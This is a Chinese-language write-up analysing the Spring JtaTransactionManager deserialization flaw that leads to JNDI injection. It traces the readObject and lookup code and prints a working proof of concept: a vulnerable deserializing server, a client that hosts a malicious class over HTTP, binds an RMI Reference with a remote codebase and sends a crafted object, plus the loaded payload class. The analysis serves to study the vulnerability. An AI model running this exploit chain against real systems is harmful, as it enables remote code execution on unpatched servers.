Spring RMI反序列化漏洞分析

概况

漏洞的入口在于Spring-tx-xxx.jar中的JtaTransactionManager重写了ReadObject方法，该方法中的UserTransactionName可控，且初始化UserTransactionName的时候调用了Jndi的lookup方法，导致 Jndi注入的问题。

ReadObject流程

首先是重写的ReadObject函数

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ois.defaultReadObject();
    this.jndiTemplate = new JndiTemplate();
    this.initUserTransactionAndTransactionManager();
    this.initTransactionSynchronizationRegistry();
}

跟入initUserTransactionAndTransactionManager()函数
该函数的作用为初始化UserTransactionName和TransactionManger

protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
    if (this.userTransaction == null) {
        if (StringUtils.hasLength(this.userTransactionName)) {
            this.userTransaction = this.lookupUserTransaction(this.userTransactionName);
            this.userTransactionObtainedFromJndi = true;
        } else {
            this.userTransaction = this.retrieveUserTransaction();
            if (this.userTransaction == null && this.autodetectUserTransaction) {
                this.userTransaction = this.findUserTransaction();
            }
        }
    }

从代码中可以看出如果传入的UserTransactionName不为空则会调用lookupUserTransaction，函数的作用为通过Jndi地址去寻找UserTransaction实例

protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {
    try {
        if (this.logger.isDebugEnabled()) {
            this.logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
        }

        return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
    } catch (NamingException var3) {
        throw new TransactionSystemException("JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", var3);
    }
}

跟入查看lookup方法

public Object lookup(final String name) throws NamingException {
    if (this.logger.isDebugEnabled()) {
        this.logger.debug("Looking up JNDI object with name [" + name + "]");
    }

    return this.execute(new JndiCallback<Object>() {
        public Object doInContext(Context ctx) throws NamingException {
            Object located = ctx.lookup(name);
            if (located == null) {
                throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");
            } else {
                return located;
            }
        }
    });
}

可以看出调用了getJndiTemplate的lookup方法，而此处地址UserTransactionName可以为攻击者控制的恶意RMI服务器地址(如127.0.0.1/evil.class)，服务器反序列化包含恶意UserTransactionName的对象时，会从其指向的地址加载工厂类，此时恶意类的静态代码会执行，从而导致Jndi注入问题。

Jndi注入POC分析

poc地址为Spring-jndi
poc采用了RMI形式的jndi注入，jdk版本必须在8u121一下，高版本的jdk引入了trustUrlCodeBase变量默认为false，会导致无法正确引入外部的类！！！

server部分

server部分比较简单，即监听一个端口等待客户端的连接，连接后读取数据流并调用ReadObject反序列化为对象

public class ExploitableServer {
	public static void main(String[] args) {
		try {
			ServerSocket serverSocket = new ServerSocket(9999);
			// 在端口9999建立Socket等待客户端的连接
			System.out.println("服务器开始监听 "+serverSocket.getLocalPort() + "端口");
			while(true) {
				// 与客户端建立连接 读取客户端传来的数据
				Socket socket=serverSocket.accept();
				System.out.println("建立连接: "+socket.getInetAddress());				
				ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
				try {
					// 进行反序列化操作
					Object object = objectInputStream.readObject();
					System.out.println("从输入流中获取的对象为 "+object);									
				} catch(Exception e) {
					System.out.println("ReadObject过程捕获到异常");									
					e.printStackTrace();
				}				
			}
		} catch(Exception e) {
			e.printStackTrace();
		}
	}
}

client部分

client部分我把代码分为三个部分

• 第一部分是建立起一个Http服务器用来托管恶意的class文件
• 第二部分是创建RMI注册表并与恶意Reference绑定
• 第三部分为创建恶意对象并发送至服务端

第一部分代码：

String serverAddress = "127.0.0.1";
int port = Integer.parseInt("9999");
String localAddress= "127.0.0.1";

System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(new InetSocketAddress(80), 0);
httpServer.createContext("/",new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();

在本地80端口建立起http服务器，设置负责处理连接的HttpFileHandler函数，该函数的功能即负责返回恶意类ExploitObject内容

第二部分代码:

System.out.println("Creating RMI Registry");
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+"/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);

建立RMI注册表，当攻击者客户端与服务器建立连接时，服务器会根据RMI地址rmi://127.0.0.1:1099/Object尝试访问此处建立的RMI注册表，并通过Object与恶意类包装referenceWrapper的绑定，获得一个reference的返回结果

第三部分代码:

System.out.println("Connecting to server "+serverAddress+":"+port);
Socket socket=new Socket(serverAddress,port);
System.out.println("Connected to server");
String jndiAddress = "rmi://"+localAddress+":1099/Object";
// 建立包含恶意rmi地址的JtaTransactionManager对象
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
// 发送恶意对象
System.out.println("Sending object to server...");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();

建立JtaTransactionManager对象并把userTransactionName设置为恶意rmi地址，并发送至服务端

恶意类部分

public class ExportObject {
	public ExportObject() {
		try {
			while(true) {
				System.out.println("running injected code...");
				Thread.sleep(1000);
			}
		} catch(Exception e) {
			e.printStackTrace();
		}
	}
}

整体的攻击流程

最后来总结下整体的攻击流程
1.受害者服务器上Spring-tx包含了可以被利用的JtaTransactionManager类，并提供了反序列化的接口。

2.攻击者建立JtaTransactionManager对象并将userTransactionName字段改为RMI注册表的地址(rmi://127.0.0.1:1099/Object)，将恶意对象发送至服务端的反序列化接口。

3.服务端接收到恶意对象后执行反序列化操作，触发ReadObject方法，最后利用lookup方法去访问攻击者的rmi注册表。

4.此时攻击者RMI服务端已经将恶意类ExploitObject的Reference与Object绑定，故服务端访问注册表后会获得恶意类的Reference。

5.服务端获得恶意类Reference后，会访问本地Classpath中是否有恶意类ExportObject(这个类是攻击者创造的，服务器本地当然不会有)，在本地找不到恶意类后，就会执行UrlLoadClass去远程服务器上(Reference中CodeBase地址指向了远程服务器)寻找恶意类。

6.而Client第一部分的代码建立的Http服务器就充当了托管ExploitObject恶意类的作用，接收到服务器的请求后将恶意类返回，此时服务端接受到返回的恶意类并加载，就会执行其中静态区的恶意代码。

其中4，5，6步骤为jndi注入的知识，需要理解rmi的交互过程。